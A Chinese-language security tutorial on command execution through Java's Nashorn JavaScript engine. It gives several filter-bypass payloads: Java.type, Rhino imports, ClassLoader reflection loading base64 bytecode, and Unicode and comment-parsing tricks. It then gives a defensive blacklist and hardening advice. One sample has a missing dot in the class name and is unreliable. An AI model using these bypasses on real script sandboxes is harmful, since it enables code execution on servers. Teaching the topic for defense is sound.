java中js命令执行的攻与防2
字数 1007 2025-08-10 08:28:29

Java中JS命令执行的攻与防2 - 深入解析Nashorn引擎的安全问题

零、前言

本文深入探讨Java中通过Nashorn JavaScript引擎执行命令的安全问题,分析多种绕过防御的方法,并提供相应的防护策略。主要针对JDK8-JDK15版本,因为Nashorn引擎在JDK15中被移除。

一、Nashorn引擎基础使用

Java通过javax.script包调用Nashorn解析引擎:

String test="function fun(a,b){ return a+b; }; print(fun(1,4));";
ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("js"); // 也可以使用"nashorn"
engine.eval(test); // 输出结果为5

二、Nashorn引擎特性分析

2.1 全局变量的属性

Nashorn将所有Java包定义为名为Packages的全局变量的属性:

var a=new Packages.java.lang.String("123"); 
// 等价于
var a=new java.lang.String("123");

2.2 Java全局对象

Nashorn定义了Java全局对象,包含许多有用的函数:

var JMath=Java.type("java.lang.Math"); 
print(JMath.max(2,6)); // 输出6

// 获取原始数据类型和数组
var primitiveInt = Java.type("int");
var arrayOfInts = Java.type("int[]");

2.3 兼容Rhino功能

Nashorn保留了Rhino的load()函数和导入功能:

load("nashorn:mozilla_compat.js");
// 导入类
importClass(java.util.HashSet);
var set = new HashSet();
// 导入包
importPackage(java.util);
var list = new ArrayList();

2.4 JavaImporter函数

JavaImporter提供更灵活的包导入方式:

var CollectionsAndFiles = new JavaImporter(java.util, java.io, java.nio);
with (CollectionsAndFiles) {
  var files = new LinkedHashSet();
  files.add(new File("Plop"));
  files.add(new File("Foo"));
}

三、命令执行绕过技术

3.1 使用Java.type方法绕过

var JavaTest= Java.type("java.lang"+"Runtime"); 
var b =JavaTest.getRuntime(); 
b.exec("calc");

3.2 使用Rhino兼容功能绕过

// 方法1
load("nashorn:mozilla_compat.js"); 
importPackage(java.lang); 
var x=Runtime.getRuntime(); 
x.exec("calc");

// 方法2
var importer =JavaImporter(java.lang); 
with(importer){ 
    var x=Runtime.getRuntime().exec("calc");
}

3.3 通过ClassLoader反射绕过

var clazz = java.security.SecureClassLoader.class;
var method = clazz.getSuperclass().getDeclaredMethod('defineClass', 'anything'.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);
method.setAccessible(true);
var classBytes = 'yv66vgAAADQAHwoABgASCgATABQIABUKABMAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAJTEV4cGxvaXQ7AQAKRXhjZXB0aW9ucwcAGQEAClNvdXJjZUZpbGUBAAxFeHBsb2l0LmphdmEMAAcACAcAGgwAGwAcAQAEY2FsYwwAHQAeAQAH...'; // 截断的恶意类字节码
var bytes = java.util.Base64.getDecoder().decode(classBytes);
var constructor = clazz.getDeclaredConstructor();
constructor.setAccessible(true);
var clz = method.invoke(constructor.newInstance(), bytes, 0 , bytes.length);
clz.newInstance();

恶意类示例:

import java.io.IOException;

public class Exploit {
    public Exploit() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

3.4 Unicode换行符绕过

利用Nashorn解析引擎对Unicode换行符的处理差异:

var test = mainOutput(); 
function mainOutput() { 
    var x=java.\u2029lang.Runtime.getRuntime().exec("calc");
};

3.5 注释处理绕过

利用注释处理差异:

var test = mainOutput(); 
function mainOutput() { 
    var x=java.lang.//
Runtime.getRuntime().exec("calc");
};

四、防御策略

4.1 黑名单设计

private static final Set<String> blacklist = Sets.newHashSet(
    // Java 全限定类名
    "java.io.File", "java.io.RandomAccessFile", "java.io.FileInputStream", "java.io.FileOutputStream",
    "java.lang.Class", "java.lang.ClassLoader", "java.lang.Runtime", "java.lang.System", "System.getProperty",
    "java.lang.Thread", "java.lang.ThreadGroup", "java.lang.reflect.AccessibleObject", "java.net.InetAddress",
    "java.net.DatagramSocket", "java.net.DatagramSocket", "java.net.Socket", "java.net.ServerSocket",
    "java.net.MulticastSocket", "java.net.MulticastSocket", "java.net.URL", "java.net.HttpURLConnection",
    "java.security.AccessControlContext", "java.lang.ProcessBuilder",
    //反射关键字
    "invoke","newinstance",
    // JavaScript 方法
    "eval", "new function",
    //引擎特性
    "Java.type","importPackage","importClass","JavaImporter"
);

4.2 增强的防御措施

  1. 更严格的注释处理:改进正则表达式以正确处理所有形式的注释
  2. Unicode字符过滤:过滤或转义所有非标准空白字符
  3. 沙箱环境:使用SecurityManager限制脚本执行权限
  4. 白名单机制:只允许特定的安全API调用

五、总结

Nashorn引擎的强大功能带来了多种命令执行的可能性,防御需要从多个层面考虑:

  1. 理解引擎特性(Java.type、importPackage等)
  2. 关注反射机制(ClassLoader、defineClass等)
  3. 注意解析差异(Unicode处理、注释处理)
  4. 实施多层防御(黑名单+白名单+沙箱)

最安全的做法是尽量避免在Java中执行不受信任的JavaScript代码,或升级到JDK15及以上版本(移除了Nashorn引擎)。

附录

Java中JS命令执行的攻与防2 - 深入解析Nashorn引擎的安全问题 零、前言 本文深入探讨Java中通过Nashorn JavaScript引擎执行命令的安全问题,分析多种绕过防御的方法,并提供相应的防护策略。主要针对JDK8-JDK15版本,因为Nashorn引擎在JDK15中被移除。 一、Nashorn引擎基础使用 Java通过 javax.script 包调用Nashorn解析引擎: 二、Nashorn引擎特性分析 2.1 全局变量的属性 Nashorn将所有Java包定义为名为 Packages 的全局变量的属性: 2.2 Java全局对象 Nashorn定义了 Java 全局对象,包含许多有用的函数: 2.3 兼容Rhino功能 Nashorn保留了Rhino的 load() 函数和导入功能: 2.4 JavaImporter函数 JavaImporter 提供更灵活的包导入方式: 三、命令执行绕过技术 3.1 使用Java.type方法绕过 3.2 使用Rhino兼容功能绕过 3.3 通过ClassLoader反射绕过 恶意类示例: 3.4 Unicode换行符绕过 利用Nashorn解析引擎对Unicode换行符的处理差异: 3.5 注释处理绕过 利用注释处理差异: 四、防御策略 4.1 黑名单设计 4.2 增强的防御措施 更严格的注释处理 :改进正则表达式以正确处理所有形式的注释 Unicode字符过滤 :过滤或转义所有非标准空白字符 沙箱环境 :使用SecurityManager限制脚本执行权限 白名单机制 :只允许特定的安全API调用 五、总结 Nashorn引擎的强大功能带来了多种命令执行的可能性,防御需要从多个层面考虑: 理解引擎特性(Java.type、importPackage等) 关注反射机制(ClassLoader、defineClass等) 注意解析差异(Unicode处理、注释处理) 实施多层防御(黑名单+白名单+沙箱) 最安全的做法是尽量避免在Java中执行不受信任的JavaScript代码,或升级到JDK15及以上版本(移除了Nashorn引擎)。 附录 源码下载: http://hg.openjdk.java.net/jdk8/jdk8/nashorn/archive/tip.zip 参考文档: Oracle Nashorn文档